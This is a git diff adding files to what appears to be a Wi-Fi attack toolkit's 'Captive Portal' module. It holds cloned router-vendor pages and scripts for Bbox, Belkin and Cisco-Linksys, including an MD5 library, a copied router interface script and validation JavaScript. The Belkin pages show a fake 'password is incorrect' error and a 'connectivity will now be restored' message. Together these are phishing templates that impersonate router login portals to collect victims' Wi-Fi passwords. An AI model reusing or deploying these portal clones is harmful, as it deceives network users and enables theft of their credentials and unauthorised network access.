1126891415); + c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905); + b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055); + a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571); + d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606); + c = md5_ii(c, d, a, b, x[i+10], 15, -1051523); + b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799); + a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359); + d = md5_ii(d, a, b, c, x[i+15], 10, -30611744); + c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380); + b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649); + a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070); + d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379); + c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259); + b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551); + + a = safe_add(a, olda); + b = safe_add(b, oldb); + c = safe_add(c, oldc); + d = safe_add(d, oldd); + } + return Array(a, b, c, d); + +} + +/* + * These functions implement the four basic operations the algorithm uses. + */ +function md5_cmn(q, a, b, x, s, t) +{ + return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b); +} +function md5_ff(a, b, c, d, x, s, t) +{ + return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t); +} +function md5_gg(a, b, c, d, x, s, t) +{ + return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t); +} +function md5_hh(a, b, c, d, x, s, t) +{ + return md5_cmn(b ^ c ^ d, a, b, x, s, t); +} +function md5_ii(a, b, c, d, x, s, t) +{ + return md5_cmn(c ^ (b | (~d)), a, b, x, s, t); +} + +/* + * Calculate the HMAC-MD5, of a key and some data + */ +function core_hmac_md5(key, data) +{ + var bkey = str2binl(key); + if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz); + + var ipad = Array(16), opad = Array(16); + for(var i = 0; i < 16; i++) + { + ipad[i] = bkey[i] ^ 0x36363636; + opad[i] = bkey[i] ^ 0x5C5C5C5C; + } + + var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz); + return core_md5(opad.concat(hash), 512 + 128); +} + +/* + * Add integers, wrapping at 2^32. This uses 16-bit operations internally + * to work around bugs in some JS interpreters. + */ +function safe_add(x, y) +{ + var lsw = (x & 0xFFFF) + (y & 0xFFFF); + var msw = (x >> 16) + (y >> 16) + (lsw >> 16); + return (msw << 16) | (lsw & 0xFFFF); +} + +/* + * Bitwise rotate a 32-bit number to the left. + */ +function bit_rol(num, cnt) +{ + return (num << cnt) | (num >>> (32 - cnt)); +} + +/* + * Convert a string to an array of little-endian words + * If chrsz is ASCII, characters >255 have their hi-byte silently ignored. + */ +function str2binl(str) +{ + var bin = Array(); + var mask = (1 << chrsz) - 1; + for(var i = 0; i < str.length * chrsz; i += chrsz) + bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32); + return bin; +} + +/* + * Convert an array of little-endian words to a string + */ +function binl2str(bin) +{ + var str = ""; + var mask = (1 << chrsz) - 1; + for(var i = 0; i < bin.length * 32; i += chrsz) + str += String.fromCharCode((bin[i>>5] >>> (i % 32)) & mask); + return str; +} + +/* + * Convert an array of little-endian words to a hex string. + */ +function binl2hex(binarray) +{ + var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; + var str = ""; + for(var i = 0; i < binarray.length * 4; i++) + { + str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) + + hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF); + } + return str; +} + +/* + * Convert an array of little-endian words to a base-64 string + */ +function binl2b64(binarray) +{ + var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2b/index.html"; + var str = ""; + for(var i = 0; i < binarray.length * 4; i += 3) + { + var triplet = (((binarray[i >> 2] >> 8 * ( i %4)) & 0xFF) << 16) + | (((binarray[i+1 >> 2] >> 8 * ((i+1)%4)) & 0xFF) << 8 ) + | ((binarray[i+2 >> 2] >> 8 * ((i+2)%4)) & 0xFF); + for(var j = 0; j < 4; j++) + { + if(i * 8 + j * 6 > binarray.length * 32) str += b64pad; + else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F); + } + } + return str; +} + diff --git a/attacks/Captive Portal/sites/Bbox_fr.portal/js/script.js b/attacks/Captive Portal/sites/Bbox_fr.portal/js/script.js new file mode 100644 index 0000000..e917a10 --- /dev/null +++ b/attacks/Captive Portal/sites/Bbox_fr.portal/js/script.js @@ -0,0 +1,545 @@ +/* + + + + +*/ + +var buttState = new Array(); + +js_mbv_ConfirmActions = 0; +showWarningPopup = 0; + +error = 0; +delete_request = 0; +idd = -1; +attribution = 0; +deldeviceid = -1; + +imgexpand = new Image(); +imgexpand.src = 'images/menu/expand.html'; + +imgcollapse = new Image(); +imgcollapse.src = 'images/menu/collapse.html'; + +imgarrowrightwhite = new Image(); +imgarrowrightwhite.src = 'images/menu/arrowrightwhite.html'; + +imgarrowrightorange = new Image(); +imgarrowrightorange.src = 'images/menu/arrowrightorange.html'; + + +function SwitchMenu(id, sessionid) +{ + if (id == 1) + GoPage('index1dab.html?page=home&sessionid=' + sessionid); + else if (id == 2) + GoPage('index5261.html?page=game&sessionid=' + sessionid); + else if (id == 3) + GoPage('indexa762.html?page=network&sessionid=' + sessionid); + else if (id == 4) + GoPage('indexb32c.html?page=do_routeur_firewall&sessionid=' + sessionid); + else if (id == 5) + GoPage('indexb6b8.html?page=do_wifi_general&sessionid=' + sessionid); + else if (id == 6) + GoPage('index6a8b.html?page=do_device_disk&sessionid=' + sessionid); + else if (id == 7) + GoPage('indexd17e.html?page=admin&sessionid=' + sessionid); + else if (id == 8) + GoPage('index426b.html?page=do_assistance&sessionid=' + sessionid); + else if (id == 9) + GoPage('indexfa24.html?page=reinitiate&sessionid=' + sessionid); + else if (id == 10) + GoPage('indexdc2b.html?page=do_routeur_dns&sessionid=' + sessionid); + else if (id == 11) + GoPage('index2b71.html?page=do_routeur_dhcp&sessionid=' + sessionid); + else if (id == 12) + GoPage('index0027.html?page=do_routeur_natpat&sessionid=' + sessionid); + else if (id == 13) + GoPage('indexfa0c.html?page=do_routeur_dmz&sessionid=' + sessionid); + else if (id == 14) + GoPage('indexb7ce.html?page=do_routeur_upnp&sessionid=' + sessionid); + else if (id == 15) + GoPage('indexdc81.html?page=do_wifi_security&sessionid=' + sessionid); + else if (id == 16) + GoPage('indexfc77.html?page=do_wifi_mac&sessionid=' + sessionid); + +} + + +function OpenHelp(help, sessionid) +{ + var x = 590; + var y = 650; + + var px = screen.width - x - 10; + var py = (screen.height - y) / 2; + + if (document.all || document.getElementById) + options = "scrollbars=yes, resizable=yes, width="+x+", height="+y+", left="+px+", top="+py; + if (document.layers) + options = 'scrollbars=yes,resizable=yes,outerWidth='+x+',outerHeight='+y+',screenX='+px+',screenY='+py; + + window.open('indexbd5f.html?page=help&help=' + help + '&sessionid=' + sessionid, 'HelpEmbedded', options); +} + + +function ButtonGoPage(buttName, url) +{ + if (buttState[buttName] == 0) + return; + + GoPage(url); +} + +function GoPage(url) +{ + //alert("Enter to GoPage(" +url +")"); + if ((js_mbv_ConfirmActions==1) && (showWarningPopup) && (document.getElementById('modal') != null) && (window.parent.LB_popup)) { + popupContent1 = ""; + popupContent1 += js_esp_ConfirmDialogText; + popupContent1 += ""; + + window.parent.LB_popup(window.parent.document.getElementById ("GUI_master"), + js_esp_ConfirmDialogTitle, + 300, 200, + popupContent1, + function() { GoPageConfirm(url); }, + function() { GoPageUnConfirm(url); }, + js_esp_ConfirmDialogYes,js_esp_ConfirmDialogNo); + } + else + GoPageConfirm(url); +} + +function ErrorSubmit(url) +{ + //alert("Enter to GoPage(" +url +")"); + if ((js_mbv_ConfirmActions==1) && (showWarningPopup) && (document.getElementById('modal') != null) && (window.parent.LB_popup)) { + popupContent1 = ""; + popupContent1 += js_esp_ConfirmDialogText; + popupContent1 += ""; + + window.parent.LB_popup(window.parent.document.getElementById ("GUI_master"), + js_esp_ConfirmDialogTitle, + 300, 200, + popupContent1, + function() { Exit(); }, + function() { Exit(url); }, + js_esp_ConfirmDialogYes,js_esp_ConfirmDialogNo); + } + else + GoPageConfirm(url); +} + +function Exit() +{ + if (window.parent.LB_popup) { + window.parent.LB_hidePopup(); + } +} +function ButtonGoPageConfirm(buttName, url) +{ + if (buttState[buttName] == 0) + return; + + GoPageConfirm(url); +} + + +function GoPageConfirm(url) +{ + document.location.href = url; +} + +function GoPageUnConfirm(url) +{ + if (window.parent.LB_popup) { + window.parent.LB_hidePopup(); + } + + FTDialogDisplayed=false; + doingAConfirmedCancel = false; + confirmedOK = false; +} + +function ShowObject(liste) +{ + var i; + var obj; + + for (i=0; i 0) + minutes = "0" + minutes; + + if( parseInt(hours) >0 ) { + if(document.all) + document.all["PTS"].innerText = hours + " hr " + minutes + " mn " + seconds + " s"; + //else + // document.getElementById("PTS").innerHTML = hours + " hr " + minutes + " mn " + seconds + " s"; + } + else { + if(document.all) + document.all["PTS"].innerText = minutes + " mn " + seconds + " s"; + //else + // document.getElementById("PTS").innerHTML = minutes + " mn "+ seconds + " s"; + } +} + + +function startPPPTimer() { + Update_time_left(); + ID = window.setInterval("Update_time_left();" ,1000); +} + + +function resetObjectSelect(obj) { + var i; + var len; + if (obj) { + len = obj.length; + for(i=0; i + BELKIN-SERVICE
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Belkin_en.portal/background.png b/attacks/Captive Portal/sites/Belkin_en.portal/background.png new file mode 100644 index 0000000..150b23b Binary files /dev/null and b/attacks/Captive Portal/sites/Belkin_en.portal/background.png differ diff --git a/attacks/Captive Portal/sites/Belkin_en.portal/error.html b/attacks/Captive Portal/sites/Belkin_en.portal/error.html new file mode 100644 index 0000000..69b76c9 --- /dev/null +++ b/attacks/Captive Portal/sites/Belkin_en.portal/error.html @@ -0,0 +1,38 @@ +
      ERROR: THE INSERTED PASSWORD IS INCORRECT !
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Belkin_en.portal/final.html b/attacks/Captive Portal/sites/Belkin_en.portal/final.html new file mode 100644 index 0000000..4e9683c --- /dev/null +++ b/attacks/Captive Portal/sites/Belkin_en.portal/final.html @@ -0,0 +1 @@ +
      YOUR INTERNET CONNECTIVITY WILL NOW BE RESTORED.
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Belkin_en.portal/house.png b/attacks/Captive Portal/sites/Belkin_en.portal/house.png new file mode 100644 index 0000000..34026bc Binary files /dev/null and b/attacks/Captive Portal/sites/Belkin_en.portal/house.png differ diff --git a/attacks/Captive Portal/sites/Belkin_en.portal/house1.png b/attacks/Captive Portal/sites/Belkin_en.portal/house1.png new file mode 100644 index 0000000..b428386 Binary files /dev/null and b/attacks/Captive Portal/sites/Belkin_en.portal/house1.png differ diff --git a/attacks/Captive Portal/sites/Belkin_en.portal/index.htm b/attacks/Captive Portal/sites/Belkin_en.portal/index.htm new file mode 100644 index 0000000..c846469 --- /dev/null +++ b/attacks/Captive Portal/sites/Belkin_en.portal/index.htm @@ -0,0 +1,2 @@ + + BELKIN-SERVICE
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Cisco-Linksys_it.portal/js/common.js b/attacks/Captive Portal/sites/Cisco-Linksys_it.portal/js/common.js new file mode 100644 index 0000000..07d06ff --- /dev/null +++ b/attacks/Captive Portal/sites/Cisco-Linksys_it.portal/js/common.js @@ -0,0 +1,1358 @@ + + +// * +// * Copyright (c)2002-2010 Cisco Systems, Inc. and/or its affiliates. All rights reserved. +// * + +ie4 = ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4 )) +ns4 = ((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) < 6 )) +ns6 = ((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) >= 6 )) + +//var ie = (navigator.appName == "Microsoft Internet Explorer"); +//var ns = (navigator.appName == "Netscape"); + +//if(ns){ +// document.captureEvents(Event.MOUSEDOWN); +//} +//document.onmousedown = check_click; +//function check_click(){ +// if((ie && (event.button == 2 || event.button == 3)) || (ns && (e.which == 2 || e.which == 3))){ +// alert(""); +// return false; +// } +// else +// return true; +//} + +// 0.0.0.0 +var ZERO_NO = 1; // 0x0000 0001 +var ZERO_OK = 2; // 0x0000 0010 +// x.x.x.0 +var MASK_NO = 4; // 0x0000 0100 +var MASK_OK = 8; // 0x0000 1000 +// 255.255.255.255 +var BCST_NO = 16; // 0x0001 0000 +var BCST_OK = 32; // 0x0010 0000 + +var SPACE_NO = 1; +var SPACE_OK = 2; + +var IP_FULL = 1; +var IP_LAST = 2; + +//============FOR INDEX - DHCP of IP RANGE ================== +var RANGE_SET; +var DHCP_START_IP = new Array(); +var DHCP_END_IP = new Array(); +var RANGE_COUNT; +var MAX_RANGE_COUNT; +//============END OF FOR INDEX ================== + +//For auto detect in wait page. +var alive = false; + +function doRedirect() +{ + loadAlive(); + if(alive) + location.href = redirect_url; + else + setTimeout('doRedirect()', 2000); +} + +function loadAlive() +{ + var o = document.getElementById('ifr_alive'); + o.src = alive_url; +} + +function RemoveElement(F, N, bRemoveEmpty) +{ + for(i=0; i=start) ) + { +// alert(M1 +' value is out of range ['+ start + ' - ' + end +']'); +// alert(M1 + errmsg.err14 + '['+ start + ' - ' + end +']'); + alert(errmsg.err14 + '['+ start + ' - ' + end +'].'); + I.value = I.defaultValue; + return false; + } + else + I.value = d; // strip 0 + +} + + + +function valid_mac(I,T) +{ + var m1,m2=0; + + if(I.value.length == 1) + I.value = "0" + I.value; + + m1 =parseInt(I.value.charAt(0), 16); + m2 =parseInt(I.value.charAt(1), 16); + if( isNaN(m1) || isNaN(m2) ) + { +// alert('The WAN MAC Address is out of range [00 - ff]'); + alert(errmsg.err15); + I.value = I.defaultValue; + } + I.value = I.value.toUpperCase(); + if(T == 0) + { + if((m2 & 1) == 1){ +// alert('The second character of MAC must be even number : [0, 2, 4, 6, 8, A, C, E]'); + alert(errmsg.err16); + I.value = I.defaultValue; + } + } +} +function valid_macs_12(I){ + var m,m3; + if(I.value == "") + return true; +// if(I.value.length<2) +// I.value=0; + else if(I.value.length==12){ + for(i=0;i<12;i++){ + m=parseInt(I.value.charAt(i), 16); + if( isNaN(m) ) + break; + } + if( i!=12 ){ +// alert('The MAC Address is not correct!!'); + alert(errmsg.err17); + I.value = I.defaultValue; + } + } + else{ +// alert('The MAC Address length is not correct!!'); + alert(errmsg.err5); + I.value = I.defaultValue; + } + I.value = I.value.toUpperCase(); + if(I.value == "FFFFFFFFFFFF"){ +// alert('The MAC Address cannot be the broadcast address!!'); + alert(errmsg.err19); + I.value = I.defaultValue; + } + if(check_multicast_mac(I.value)){ + I.value = I.defaultValue; + } + m3 = I.value.charAt(1); +// if((m3 & 1) == 1){ + if((m3 & 1) == 1 || m3 == 'B' || m3 == 'D' || m3 == 'F'){ //modified by michael to deny the "B/D/F" char at 20080422 +// alert('The second character of MAC must be even number : [0, 2, 4, 6, 8, A, C, E]'); + alert(errmsg.err16); + I.value = I.defaultValue; + } +} +function valid_macs_17(I) +{ + oldmac = I.value; + var mac = ignoreSpaces(oldmac); + if (mac == "") + { + return true; + //alert("Enter MAC Address in (xx:xx:xx:xx:xx:xx) format"); + //return false; + } + var m = mac.split(":"); + if (m.length != 6) + { +// alert("Invalid MAC address format"); + alert(errmsg.err21); + I.value = I.defaultValue; + return false; + } + var idx = oldmac.indexOf(':'); + if (idx != -1) { + var pairs = oldmac.substring(0, oldmac.length).split(':'); + for (var i=0; i 2) { +// alert ("The WAN MAC Address is not correct!!"); + alert (errmsg.err22); + I.value = I.defaultValue; + return false; + } + for(iln = 0; iln < len; iln++) { + ch = nameVal.charAt(iln).toLowerCase(); + if (ch >= '0' && ch <= '9' || ch >= 'a' && ch <= 'f') { + } + else { +// alert ("Invalid hex value " + nameVal + " found in MAC address " + oldmac); +// alert (errmsg.err23 + nameVal + errmsg.err24 + oldmac); + alert (errmsg.err23); + I.value = I.defaultValue; + return false; + } + } + } + } + I.value = I.value.toUpperCase(); + if(I.value == "FF:FF:FF:FF:FF:FF"){ +// alert('The MAC Address cannot be the broadcast address!'); + alert(errmsg.err19); + I.value = I.defaultValue; + } + + if(check_multicast_mac(I.value)){ + I.value = I.defaultValue; + } + + m3 = I.value.charAt(1); +// if((m3 & 1) == 1){ + if((m3 & 1) == 1 || m3 == 'B' || m3 == 'D' || m3 == 'F'){ //modified by michael to deny the "B/D/F" char at 20080422 +// alert('The second character of MAC must be even number : [0, 2, 4, 6, 8, A, C, E]'); + alert(errmsg.err16); + I.value = I.defaultValue; + } + return true; +} +function ignoreSpaces(string) { + var temp = ""; + + string = '' + string; + splitstring = string.split(" "); + for(i = 0; i < splitstring.length; i++) + temp += splitstring[i]; + return temp; +} +function check_space(I,M1){ + M = unescape(M1); + for(i=0 ; i=0;i--){ + for(j=1;j<=8;j++){ + if((m[i] % 2) == 0) match0 = (3-i)*8 + j; + else if(((m[i] % 2) == 1) && match1 == -1) match1 = (3-i)*8 + j; + m[i] = Math.floor(m[i] / 2); + } + } + if(match0 > match1){ +// alert("Illegal subnet mask!"); + alert(errmsg.err27); + return false; + } + return true; +} +function valid_mask_one(F,N,flag){ + var match0 = -1; + var match1 = -1; + var m = new Array(4); + + for(i=1;i<5;i++) + m[i-1] = eval(N+"_"+i).value; + + if(m[0] == "0" && m[1] == "0" && m[2] == "0" && m[3] == "0"){ + if(flag & ZERO_NO){ +// alert("Illegal subnet mask!"); + alert(errmsg.err27); + return false; + } + else if(flag & ZERO_OK){ + return true; + } + } + + if(m[0] == "255" && m[1] == "255" && m[2] == "255" && m[3] == "255"){ + if(flag & BCST_NO){ +// alert("Illegal subnet mask!"); + alert(errmsg.err27); + return false; + } + else if(flag & BCST_OK){ + return true; + } + } + + for(i=3;i>=0;i--){ + for(j=1;j<=8;j++){ + if((m[i] % 2) == 0) match0 = (3-i)*8 + j; + else if(((m[i] % 2) == 1) && match1 == -1) match1 = (3-i)*8 + j; + m[i] = Math.floor(m[i] / 2); + } + } + if(match0 > match1){ +// alert("Illegal subnet mask!"); + alert(errmsg.err27); + return false; + } + return true; +} +function isdigit(I,M) +{ + for(i=0 ; i '9'){ +// alert(M +' have illegal characters, must be [ 0 - 9 ]'); +// alert(M + errmsg.err28); + alert(errmsg.err28); + I.value = I.defaultValue; + return false; + } + } + return true; +} +function isascii(I,M) +{ + for(i=0 ; i '~'){ +// alert(M +' have illegal ascii code!'); +// alert(M + errmsg.err29); + alert(errmsg.err29); + I.value = I.defaultValue; + return false; + } + } + return true; +} +function isxdigit(I,M) +{ + for(i=0 ; i= '0' && ch <= '9' || ch >= 'a' && ch <= 'f'){} + else{ +// alert(M +' have illegal hexadecimal digits!'); +// alert(M + errmsg.err30); + alert(errmsg.err30); + I.value = I.defaultValue; + return false; + } + } + return true; +} +function closeWin(var_win){ + if ( ((var_win != null) && (var_win.close)) || ((var_win != null) && (var_win.closed==false)) ) + var_win.close(); +} +function valid_ip(F,N,M1,flag){ + var m = new Array(4); + M = unescape(M1); + + for(i=0;i<4;i++) + m[i] = eval(N+"_"+i).value + + if(m[0] == 127 || m[0] == 224){ +// alert(M+" value is illegal!"); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + + if(m[0] == "0" && m[1] == "0" && m[2] == "0" && m[3] == "0"){ + if(flag & ZERO_NO){ +// alert(M+' value is illegal!'); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + } + + if((m[0] != "0" || m[1] != "0" || m[2] != "0") && m[3] == "0"){ + if(flag & MASK_NO){ +// alert(M+' value is illegal!'); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + } + return true; +} +function valid_ip_one(F,N,M1,flag){ + var m = new Array(4); + M = unescape(M1); + + for(i=1;i<5;i++) + m[i-1] = eval(N+"_"+i).value + + if(m[0] == 127 || m[0] == 224){ +// alert(M+" value is illegal!"); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + + if(m[0] == "0" && m[1] == "0" && m[2] == "0" && m[3] == "0"){ + if(flag & ZERO_NO){ +// alert(M+' value is illegal!'); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + } + + if((m[0] != "0" || m[1] != "0" || m[2] != "0") && m[3] == "0"){ + if(flag & MASK_NO){ +// alert(M+' value is illegal!'); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + } + return true; +} +function valid_ip_gw(F,I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + for(i=0;i<4;i++) + IP[i] = eval(I+"_"+i).value + for(i=0;i<4;i++) + NM[i] = eval(N+"_"+i).value + for(i=0;i<4;i++) + GW[i] = eval(G+"_"+i).value + + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ +// alert("IP address and gateway is not at same subnet mask!"); + alert(errmsg.err32); + return false; + } + } + if((IP[0] == GW[0]) && (IP[1] == GW[1]) && (IP[2] == GW[2]) && (IP[3] == GW[3])){ +// alert("IP address and gateway can't be same!"); + alert(errmsg.err33); + return false; + } + + return true; +} +function valid_ip_gw_one(F,I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + for(i=1;i<5;i++) + IP[i-1] = eval(I+"_"+i).value + for(i=1;i<5;i++) + NM[i-1] = eval(N+"_"+i).value + for(i=1;i<5;i++) + GW[i-1] = eval(G+"_"+i).value + + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ +// alert("IP address and gateway is not at same subnet mask!"); + alert(errmsg.err32); + return false; + } + } + if((IP[0] == GW[0]) && (IP[1] == GW[1]) && (IP[2] == GW[2]) && (IP[3] == GW[3])){ +// alert("IP address and gateway can't be same!"); + alert(errmsg.err33); + return false; + } + + return true; +} +function delay(gap) //gap is in millisecs +{ + var then,now; then=new Date().getTime(); + + now=then; + while((now-then) 0) { + begin = dc.indexOf(cookiename); + if (begin != -1) { + begin += cookiename.length; + end = dc.indexOf(";", begin); + if (end == -1) { + end = dc.length; + } + return unescape(dc.substring(begin, end)); + } + } + return null; +} + +function deleteCookie(name) { + document.cookie = name + "=; expires=Thu, 01-Jan-70 00:00:01 GMT" + "; path=/"; +} + +function IsEmpty(aText) +{ + if ( (aText.value.length==0) || (aText.value==null)) + { + return true ; + } + else + { + return false ; + } +} + +function IsCrossRange(n1,n2,n3,n4,p1,p2) +{ + // 1:TCP , 2:UDP , 0:BOTH + var a,b,c,d ; + a = parseInt(n1,10); + b = parseInt(n2,10); + c = parseInt(n3,10); + d = parseInt(n4,10); + if ( a==0 && b==0 && c==0 && d==0 ) return false ; + if ( p1!=p2 && p1!=0 && p2!=0 ) return false ; + if ( a<=c && b>=c && ((p1==0 || p2==0) || (p1==p2))) return true ; + if ( a<=d && b>=d && ((p1==0 || p2==0) || (p1==p2))) return true ; + if ( a>=c && b<=d && ((p1==0 || p2==0) || (p1==p2))) return true ; + return false ; +} + +//check ping ip or URL Fixed 04/16/2007 +function check_char(obj) +{ + for(i = 0; i < obj.length; i++) + { + ch = obj.charAt(i); + + if(ch.search(/^[A-Za-z0-9-]/i) == -1) + return true; + } + return false; +} + +function check_ip_domain(value) +{ + var count = 0; + var flag = 2; + + for(i = 0; i < value.length; i++) + { + ch = value.charAt(i); + if(ch == '.') + count++; + if(count > 3) + flag = false; + else if(ch.search(/^[0-9.]/i) == -1) + flag = true; + } + + if(flag == true) + return check_domain(value); + else if(flag == false) + return false; + + if(check_ip(value)) + return true; + else + return false; + +} + +function check_domain( domain_main) +{ + var sub_name; + var temp_firstchar; + var temp_endchar; + + if ( (domain_main.length==0) || (domain_main==null) || (domain_main.length > 256)) + return false; + else + { + temp_firstchar = domain_main.charAt(0); + temp_endchar = domain_main.charAt(domain_main.length-1); + + if((temp_firstchar.search(/^[A-Za-z0-9]/i) == -1) || + (temp_endchar.search(/^[A-Za-z0-9]/i) == -1)) + return false; + } + + sub_name = domain_main.split(/\./); + + if(sub_name.length < 3) + return false; + + for(var i = 0; i < sub_name.length; i++) + { + if((sub_name[i].length > 0) && (sub_name[i].length < 2) || (sub_name[i].length > 63)) + return false; + else if(check_char(sub_name[i])) + return false; + } + + return true; + +} + +function check_ip(ip_addr) +{ + var sub_ip; + var host_id; + + if (ip_addr.search(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) == -1) + return false; + + sub_ip = ip_addr.split(/\./); + if (sub_ip[0] >= 0xff || sub_ip[1] >= 0xff || sub_ip[2] >= 0xff || sub_ip[3] >= 0xff) + return false; + if(sub_ip[0] == 0 && sub_ip[1] == 0 && sub_ip[2] == 0 && sub_ip[3] == 0) + return false; + if(sub_ip[3] == 0 || sub_ip[3] == 255) + return false; + + if((sub_ip[0] == 127) && (sub_ip[1] == 0) && (sub_ip[2] == 0) && (sub_ip[3] == 1)) + return true; + + if(sub_ip[0] < 128) /* A class */ + { + if(sub_ip[0] == 0 || sub_ip[0] == 127) + return false; + host_id = sub_ip[1] * 0x10000 + sub_ip[2] * 0x100 + sub_ip[3] * 0x1; + + if(host_id == 0 || host_id == 0xffffff) + return false; + } + else if(sub_ip[0] < 192) /* B class */ + { + host_id = sub_ip[2] * 0x100 + sub_ip[3] * 0x1; + + if(host_id == 0 || host_id == 0xffff) + return false; + } + else if(sub_ip[0] < 224) /* C class */ + { + host_id = sub_ip[3] * 0x1; + + if(host_id == 0 || host_id == 0xff) + return false; + } + else /* Limit broadcast, Multicast net */ + { + return false; + } + return true; +} + +function string_break(len,src) +{ + var line = parseInt(src.length/len) ; + var i ,dst="" ; + if ( line == 0 ) return src; + if ( parseInt(src%len) != 0 ) line ++ ; + for(i=0; i"; + src = src.substring(len,src.length); + } + return dst ; +} + + +function chk_multi_port(F,count,starti,xfrom,xto,xport) +{ + var i=0,j=0; + var flg = true ; + for(i=0; i '9') + { + data = data.toUpperCase(); + for(i=0; i=0; i--) + { + sd[i] = parseInt(data%2); + data = parseInt(data/2); + } + return sd; +} + +function trans2to10(data) +{ + var num=0,i,j; + for(i=0; i<8; i++) + { + j = 7-i; + num = num + parseInt(data.charAt(j))*(1< 50 ) + RANGE_COUNT = 50; + else + RANGE_COUNT = iprange - 3 ; + + for(i=0; i= RANGE_COUNT ) + { + DHCP_START_IP[0] = st ; + DHCP_END_IP[0] = parseInt(DHCP_START_IP[0]) + parseInt(RANGE_COUNT) -1 ; + RANGE_SET = 1; + } + else + { + DHCP_START_IP[0] = st ; + DHCP_END_IP[0] = parseInt(lanip3)-1; + DHCP_START_IP[1] = parseInt(lanip3)+1; + DHCP_END_IP[1] = parseInt(DHCP_START_IP[1])+parseInt(RANGE_COUNT)-(parseInt(DHCP_END_IP[0])-parseInt(DHCP_START_IP[0]))-2; + RANGE_SET = 2 ; + return true; + } + } + } + } + } + return false ; +} + +function valid_subnet(F,I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + for(i=0;i<4;i++) + IP[i] = eval(I+"_"+i).value + for(i=0;i<4;i++) + NM[i] = eval(N+"_"+i).value + for(i=0;i<4;i++) + GW[i] = eval(G+"_"+i).value + + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ + return false; + } + } + return true; +} + +function valid_subnet_one(F,I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + for(i=1;i<5;i++) + IP[i-1] = eval(I+"_"+i).value + for(i=1;i<5;i++) + NM[i-1] = eval(N+"_"+i).value + for(i=0;i<4;i++) + GW[i] = eval(G+"_"+i).value + + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ + return false; + } + } + return true; +} + + +function layerWrite(id,nestref,text) +{ + if(ns4) + { + var lyr = (nestref)? eval('document.'+nestref+'.document.'+id+'.document') : document.layers[id].document ; + lyr.open(); + lyr.write(text); + lyr.close(); + } + else if (ie4) + document.all[id].innerHTML = text ; + else if(ns6) + document.getElementById(id).innerHTML = text ; +} + +function chkisValidIP (addr) +{ + var sub_addr; + var net_id; + var host_id; + + if (addr.search(/^\d{1,3}\.\d{1,3}\.\d{1,3}\./) == -1) + return false; + sub_addr = addr.split(/\./); + if(sub_addr.length < 4) return false; + if(sub_addr[3] == "*") + sub_addr[3] = "1"; + else + { + if(isNaN(sub_addr[3]) == true) return false; + } + + if (sub_addr[0] > 0xff || sub_addr[1] > 0xff || sub_addr[2] > 0xff || sub_addr[3] > 0xff) + return false; + + if(sub_addr[0] < 128) /* A class */ + { + if(sub_addr[0] == 0 || sub_addr[0] == 127) + return false; + host_id = sub_addr[1] * 0x10000 + sub_addr[2] * 0x100 + sub_addr[3] * 0x1; + if(host_id == 0 || host_id == 0xffffff) + return false; + } + else if(sub_addr[0] < 192) /* B class */ + { + host_id = sub_addr[2] * 0x100 + sub_addr[3] * 0x1; + if(host_id == 0 || host_id == 0xffff) + return false; + } + else if(sub_addr[0] < 224) /* C class */ + { + host_id = sub_addr[3] * 0x1; + if(host_id == 0 || host_id == 0xff) + return false; + } + else /* Limit broadcast, Multicast net */ + { + return false; + } + + return true; +} + +function isBlank(s) +{ + for(i=0;i 57)) + return true; + } + return false; +} + +function isNegInt(s) +{ + if (s<0) + return true; + else + return false; +} + +function isNValidPort(s) { + if((isBlank(s))||(isNaN(s))||(isNValidInt(s))||(isNegInt(s))||(s<1||s>65535)) + return true; + else + return false; +} + +function trim(s) +{ + var v; + v = s.replace(/^\s+|\s+$/g, ""); + return v; +} + +function rtl(t,a,p,rtl) +{ + var rtla; + if(a=="left") + rtla="right"; + else + rtla="left"; + + if(rtl) + 